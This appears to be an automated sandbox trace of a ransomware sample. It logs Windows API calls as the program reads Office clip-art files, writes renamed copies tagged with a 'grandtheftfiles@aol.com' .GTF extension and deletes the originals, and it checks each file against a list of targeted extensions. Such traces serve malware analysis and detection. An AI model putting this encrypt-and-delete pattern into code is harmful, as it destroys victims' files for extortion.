	[0087.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0087.612] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.612] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0087.612] GetLastError () returned 0x0
	[0087.612] ReadFile (in: hFile=0x384, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x380, lpOverlapped=0x0) returned 1
	[0088.003] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x390, lpOverlapped=0x0) returned 1
	[0088.026] ReadFile (in: hFile=0x384, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.026] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.026] SetEndOfFile (hFile=0x31c) returned 1
	[0088.026] CloseHandle (hObject=0x31c) returned 1
	[0088.030] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.030] SetEndOfFile (hFile=0x384) returned 1
	[0088.031] CloseHandle (hObject=0x384) returned 1
	[0088.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 1
	[0088.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0088.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0088.031] lstrlenW (lpString=".doc") returned 4
	[0088.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.031] lstrlenW (lpString=".docx") returned 5
	[0088.031] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.031] lstrlenW (lpString=".pdf") returned 4
	[0088.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.031] lstrlenW (lpString=".xls") returned 4
	[0088.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.031] lstrlenW (lpString=".xlsx") returned 5
	[0088.031] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.031] lstrlenW (lpString=".ppt") returned 4
	[0088.031] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0088.031] lstrlenW (lpString=".zip") returned 4
	[0088.031] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.031] lstrlenW (lpString=".rar") returned 4
	[0088.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.032] lstrlenW (lpString=".bz2") returned 4
	[0088.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.032] lstrlenW (lpString=".7z") returned 3
	[0088.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0088.032] lstrlenW (lpString=".dbf") returned 4
	[0088.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0088.032] lstrlenW (lpString=".1cd") returned 4
	[0088.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0088.032] lstrlenW (lpString=".jpg") returned 4
	[0088.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0088.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0088.032] lstrlenW (lpString=".doc") returned 4
	[0088.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.032] lstrlenW (lpString=".docx") returned 5
	[0088.032] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.032] lstrlenW (lpString=".pdf") returned 4
	[0088.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.032] lstrlenW (lpString=".xls") returned 4
	[0088.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.032] lstrlenW (lpString=".xlsx") returned 5
	[0088.032] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.032] lstrlenW (lpString=".ppt") returned 4
	[0088.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0088.032] lstrlenW (lpString=".zip") returned 4
	[0088.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.032] lstrlenW (lpString=".rar") returned 4
	[0088.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.032] lstrlenW (lpString=".bz2") returned 4
	[0088.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.033] lstrlenW (lpString=".7z") returned 3
	[0088.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0088.033] lstrlenW (lpString=".dbf") returned 4
	[0088.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0088.033] lstrlenW (lpString=".1cd") returned 4
	[0088.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68
	[0088.033] lstrlenW (lpString=".jpg") returned 4
	[0088.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.033] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.033] lstrlenW (lpString="FD01657_.WMF") returned 12
	[0088.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0088.033] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=30414) returned 1
	[0088.033] CloseHandle (hObject=0x384) returned 1
	[0088.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x220
	[0088.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0088.034] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.034] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0088.034] GetLastError () returned 0x0
	[0088.034] ReadFile (in: hFile=0x384, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x76ce, lpOverlapped=0x0) returned 1
	[0088.036] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x76d0, lpOverlapped=0x0) returned 1
	[0088.038] ReadFile (in: hFile=0x384, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.038] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.038] SetEndOfFile (hFile=0x31c) returned 1
	[0088.038] CloseHandle (hObject=0x31c) returned 1
	[0088.038] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.038] SetEndOfFile (hFile=0x384) returned 1
	[0088.039] CloseHandle (hObject=0x384) returned 1
	[0088.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.039] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 1
	[0088.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0088.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0088.040] lstrlenW (lpString=".doc") returned 4
	[0088.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.040] lstrlenW (lpString=".docx") returned 5
	[0088.040] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.040] lstrlenW (lpString=".pdf") returned 4
	[0088.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.040] lstrlenW (lpString=".xls") returned 4
	[0088.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.040] lstrlenW (lpString=".xlsx") returned 5
	[0088.040] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.040] lstrlenW (lpString=".ppt") returned 4
	[0088.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0088.040] lstrlenW (lpString=".zip") returned 4
	[0088.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.040] lstrlenW (lpString=".rar") returned 4
	[0088.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.040] lstrlenW (lpString=".bz2") returned 4
	[0088.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.040] lstrlenW (lpString=".7z") returned 3
	[0088.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0088.040] lstrlenW (lpString=".dbf") returned 4
	[0088.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0088.040] lstrlenW (lpString=".1cd") returned 4
	[0088.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0088.040] lstrlenW (lpString=".jpg") returned 4
	[0088.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0088.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0088.040] lstrlenW (lpString=".doc") returned 4
	[0088.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.040] lstrlenW (lpString=".docx") returned 5
	[0088.041] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.041] lstrlenW (lpString=".pdf") returned 4
	[0088.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.041] lstrlenW (lpString=".xls") returned 4
	[0088.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.041] lstrlenW (lpString=".xlsx") returned 5
	[0088.041] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.041] lstrlenW (lpString=".ppt") returned 4
	[0088.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0088.041] lstrlenW (lpString=".zip") returned 4
	[0088.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.041] lstrlenW (lpString=".rar") returned 4
	[0088.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.041] lstrlenW (lpString=".bz2") returned 4
	[0088.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.041] lstrlenW (lpString=".7z") returned 3
	[0088.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0088.041] lstrlenW (lpString=".dbf") returned 4
	[0088.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0088.041] lstrlenW (lpString=".1cd") returned 4
	[0088.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0088.041] lstrlenW (lpString=".jpg") returned 4
	[0088.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.041] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.041] lstrlenW (lpString="FD01658_.WMF") returned 12
	[0088.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0088.042] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=17924) returned 1
	[0088.042] CloseHandle (hObject=0x384) returned 1
	[0088.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 0x220
	[0088.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0088.042] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.042] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0088.043] GetLastError () returned 0x0
	[0088.043] ReadFile (in: hFile=0x384, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x4604, lpOverlapped=0x0) returned 1
	[0088.045] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x4610, lpOverlapped=0x0) returned 1
	[0088.046] ReadFile (in: hFile=0x384, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.046] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.046] SetEndOfFile (hFile=0x31c) returned 1
	[0088.046] CloseHandle (hObject=0x31c) returned 1
	[0088.046] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.046] SetEndOfFile (hFile=0x384) returned 1
	[0088.047] CloseHandle (hObject=0x384) returned 1
	[0088.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 1
	[0088.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0088.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0088.048] lstrlenW (lpString=".doc") returned 4
	[0088.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.048] lstrlenW (lpString=".docx") returned 5
	[0088.048] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.048] lstrlenW (lpString=".pdf") returned 4
	[0088.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.048] lstrlenW (lpString=".xls") returned 4
	[0088.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.048] lstrlenW (lpString=".xlsx") returned 5
	[0088.048] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.048] lstrlenW (lpString=".ppt") returned 4
	[0088.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0088.048] lstrlenW (lpString=".zip") returned 4
	[0088.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.048] lstrlenW (lpString=".rar") returned 4
	[0088.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.048] lstrlenW (lpString=".bz2") returned 4
	[0088.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.048] lstrlenW (lpString=".7z") returned 3
	[0088.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0088.049] lstrlenW (lpString=".dbf") returned 4
	[0088.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0088.049] lstrlenW (lpString=".1cd") returned 4
	[0088.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0088.049] lstrlenW (lpString=".jpg") returned 4
	[0088.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0088.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0088.049] lstrlenW (lpString=".doc") returned 4
	[0088.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.049] lstrlenW (lpString=".docx") returned 5
	[0088.049] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.049] lstrlenW (lpString=".pdf") returned 4
	[0088.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.049] lstrlenW (lpString=".xls") returned 4
	[0088.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.049] lstrlenW (lpString=".xlsx") returned 5
	[0088.049] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.049] lstrlenW (lpString=".ppt") returned 4
	[0088.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0088.049] lstrlenW (lpString=".zip") returned 4
	[0088.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.049] lstrlenW (lpString=".rar") returned 4
	[0088.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.049] lstrlenW (lpString=".bz2") returned 4
	[0088.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.049] lstrlenW (lpString=".7z") returned 3
	[0088.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0088.049] lstrlenW (lpString=".dbf") returned 4
	[0088.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0088.049] lstrlenW (lpString=".1cd") returned 4
	[0088.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0088.050] lstrlenW (lpString=".jpg") returned 4
	[0088.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.050] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.050] lstrlenW (lpString="FD01659_.WMF") returned 12
	[0088.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0088.050] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=31180) returned 1
	[0088.051] CloseHandle (hObject=0x384) returned 1
